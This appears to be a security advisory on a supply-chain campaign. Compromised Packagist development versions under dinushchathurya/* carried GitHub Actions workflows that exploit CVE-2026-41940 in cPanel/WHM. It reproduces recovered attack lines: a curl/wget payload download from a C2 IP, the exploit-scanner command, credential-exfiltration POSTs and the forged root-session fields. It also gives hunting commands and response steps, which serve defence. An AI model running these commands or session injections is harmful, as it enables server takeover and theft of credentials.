critical

CVE

CVE-2026-41940

CWE

CWE-93, CWE-506

Affected Surface

  • Development versions of ten Packagist packages under the `dinushchathurya/*` namespace: `nationality-list`, `srilankan-divisional-secretariats`, `srilankan-gn-divisions`, `srilankan-local-authorities`, `srilankan-mobile-number-validator`, `srilankan-state-hospitals`, `srilankan-universities`, `uk-mobile-number-validator`, `uk-post-code`, and `websmslk`
  • Compromised GitHub repositories whose root `.github/workflows/` directories carried the injected workflow set and launched GitHub-hosted Ubuntu runners
  • Internet-facing cPanel and WHM deployments after `11.40` and before the vendor-fixed builds, plus `WP Squared` up to `11.136.1.6`
  • Linux GitHub Actions runners that downloaded and executed the campaign payload from `43[.]228[.]157[.]68`

The highest-signal new supply-chain story from the last three days is not a classic “install this package, run this implant” registry incident. It is a CI abuse campaign where the package ecosystem served as the distribution clue, while the real execution layer lived in GitHub Actions. Socket’s July 22 research shows that ten compromised Packagist development versions under dinushchathurya/* contained 583 malicious workflow files that weaponized GitHub-hosted Linux runners to scan the internet, exploit CVE-2026-41940 in cPanel and WHM, and exfiltrate whatever server-side credentials they could reach.

That architectural detail matters. The PHP package code was not the primary malware body. The attack logic lived under .github/workflows/, which means ordinary composer install of the affected development versions did not automatically execute the campaign on the consumer’s workstation. Instead, execution occurred when a compromised repository received a push or someone manually triggered the injected workflow. In other words, the package artifact exposed the compromise, but GitHub Actions supplied the attacker with disposable Linux compute.

Affected package and project set

Socket attributes the malicious development versions to ten Packagist packages associated with the compromised dinushchathurya maintainer account:

  1. dinushchathurya/nationality-list
  2. dinushchathurya/srilankan-divisional-secretariats
  3. dinushchathurya/srilankan-gn-divisions
  4. dinushchathurya/srilankan-local-authorities
  5. dinushchathurya/srilankan-mobile-number-validator
  6. dinushchathurya/srilankan-state-hospitals
  7. dinushchathurya/srilankan-universities
  8. dinushchathurya/uk-mobile-number-validator
  9. dinushchathurya/uk-post-code
  10. dinushchathurya/websmslk

The development versions synchronized from the compromised GitHub repositories between 12 and 13 July 2026. Public reporting is clear that the malicious code resided in the repositories’ root workflow directories rather than in the PHP library logic itself.

The real execution boundary was .github/workflows/

Socket’s recovered workflow set is unusually explicit about its purpose. In the representative srilankan-local-authorities@dev-main artifact, the workflow triggers on any push or manual dispatch and requests a long-lived Ubuntu runner:

on:
  push:
    branches: ['**']
  workflow_dispatch:

jobs:
  run:
    runs-on: ubuntu-latest
    timeout-minutes: 350

That is the first operational lesson. A workflow file is executable supply-chain content. If an attacker can land code under .github/workflows/, they do not need to wait for a developer to import a library. GitHub will provision the runtime for them.

The second lesson is how little logic had to live in the repository. The workflow performs architecture detection and then pulls the real Linux payload from a hardcoded C2:

curl -sfL http://43[.]228[.]157[.]68/api/dl/$_s -o /tmp/.svc ||
wget -qO /tmp/.svc http://43[.]228[.]157[.]68/api/dl/$_s

chmod 755 /tmp/.svc

That design keeps the repository-side artifact small and replaceable. The malicious YAML only needs to bootstrap the runner. The attacker can iterate the payload entirely off-platform by swapping the server response at 43[.]228[.]157[.]68.

The runner was used as a distributed Linux exploitation node

Once the workflow downloads the payload, it executes a scanner with options that make the campaign intent unambiguous:

PANEL_URL="http://43[.]228[.]157[.]68:80" \
GOMEMLIMIT=2147483648 \
/tmp/.svc ipscan \
  --source random,all \
  --exploit CVE-2026-41940 \
  --git \
  --envdump \
  --ports 80,443,8080,8443,2082,2083,2086,2087 \
  --git-workers 20 \
  --count 0 \
  --no-reverse

This is not speculative or opportunistic post-processing. The command line names the target vulnerability directly, enumerates cPanel/WHM-related ports, and enables source-control plus environment dumping at the same time. The GitHub-hosted runner becomes:

  1. a Linux scanner,
  2. a CVE-2026-41940 exploitation client,
  3. a credential-harvesting collector, and
  4. a disposable execution host the attacker does not need to maintain.

That is why this incident belongs in a supply-chain library, even though the primary downstream victim may be a hosting control plane rather than the package consumer itself. Repository compromise was turned into attack infrastructure.

Why CVE-2026-41940 is such a valuable downstream target

The vendor’s April advisory and multiple public analyses agree on the core flaw: cpsrvd had two session-writing paths, and the HTTP Basic-auth path could write unsanitized attacker-controlled data to the raw session file. Public technical analyses describe the chain as:

saveSession() writes attacker-controlled password bytes
-> attacker omits the cookie's obfuscation component so data lands unencrypted
-> raw session file is reparsed through Cpanel::Session::Modify(..., nocache => 1)
-> injected lines become top-level session keys
-> forged root session is accepted as authenticated

The injected fields public researchers focused on are exactly the ones defenders should understand:

user=root
hasroot=1
tfa_verified=1
successful_internal_auth_with_timestamp=...

The important application-security takeaway is not the exploit novelty. It is the blast radius. WHM is the server-side control plane above individual cPanel accounts. Successful exploitation can expose hosted websites, databases, email configuration, deployment secrets, and additional tenant environments from a single Linux host.

The exfiltration path was built for long-running CI theft

The workflows did not fire and forget. They were built to stream telemetry and incremental results back to the operator. Socket recovered a heartbeat loop:

curl -s -X POST "$PANEL/api/github-heartbeat" \
  --data-urlencode "repo=$REPO" \
  --data-urlencode "log=$LINE"

And a separate results uploader:

curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
  --data-urlencode "filename=$F" \
  --data-urlencode "content=$CHUNK" \
  --data-urlencode "repo=$REPO" \
  --data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
  --data-urlencode "offset=$SENT"

Those POSTs make the intended stolen-data categories explicit. Public reporting says the workflows monitored and uploaded:

  • AWS credentials
  • GitHub and GitLab tokens
  • OpenAI and Google credentials
  • Stripe, SendGrid, Mailgun, and Brevo secrets
  • database credentials
  • SSH material
  • Git remotes
  • application config and environment files

This is why the campaign should not be filed away as “just a cPanel bug” or “just a Packagist anomaly.” The attacker used repository compromise to turn CI into a credential-harvesting mesh.

DNS and code-reuse pivots show this was not isolated

Socket reports that fourteen recovered workflows queried a common DNS callback:

nslookup f5b0b742-240a-4811-8a5b-b0ba6060685d.dnshook[.]site

That gave defenders a useful correlation pivot. Searches for the same DNSHook identifier produced roughly 6,100 matching workflow files, while broader queries using the C2 address, scanner arguments, and exfiltration endpoints produced roughly 15,000 to 16,000 hits. Those figures do not mean fifteen thousand confirmed victim repositories. But they do mean the code pattern propagated far beyond one maintainer account and one package namespace.

Scoping your exposure

If you maintain PHP or mixed-language repositories with GitHub Actions, hunt the workflow layer first:

rg -n "43\\.228\\.157\\.68|api/github-heartbeat|api/github-results|dnshook\\.site|--exploit CVE-2026-41940" \
  .github/workflows

git log --stat -- .github/workflows

If your software supply chain consumed development versions from the affected Packagist packages, inspect lockfiles and VCS references rather than only package names:

rg -n "dinushchathurya/(nationality-list|srilankan-divisional-secretariats|srilankan-gn-divisions|srilankan-local-authorities|srilankan-mobile-number-validator|srilankan-state-hospitals|srilankan-universities|uk-mobile-number-validator|uk-post-code|websmslk)" \
  composer.lock composer.json

For cPanel/WHM operators, treat unpatched exposure during the incident window as potential server compromise and run the vendor IOC tooling immediately. Because the exploit path poisoned session state, session-store artifacts and unusual privileged sessions matter as much as ordinary web-access logs.

Response guidance

  1. Disable or remove unauthorized workflows and preserve the malicious commits plus GitHub Actions logs before cleanup.
  2. Rotate GitHub credentials, GitHub App/OAuth grants, and any secrets that were accessible to the compromised workflows.
  3. Remove affected Packagist development versions and repin to known-good commits or stable releases.
  4. Patch cPanel/WHM to the vendor-fixed builds and restrict ports 2082, 2083, 2086, and 2087 to trusted networks.
  5. Investigate cPanel servers for unauthorized sessions, new SSH keys, altered application configs, and any credential families listed above.

The broader lesson is simple: CI configuration is executable code, and executable code inside a repository is part of the software supply chain whether or not it ships in the package payload. In this campaign, the package versions were the breadcrumb, but GitHub Actions was the weapon.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References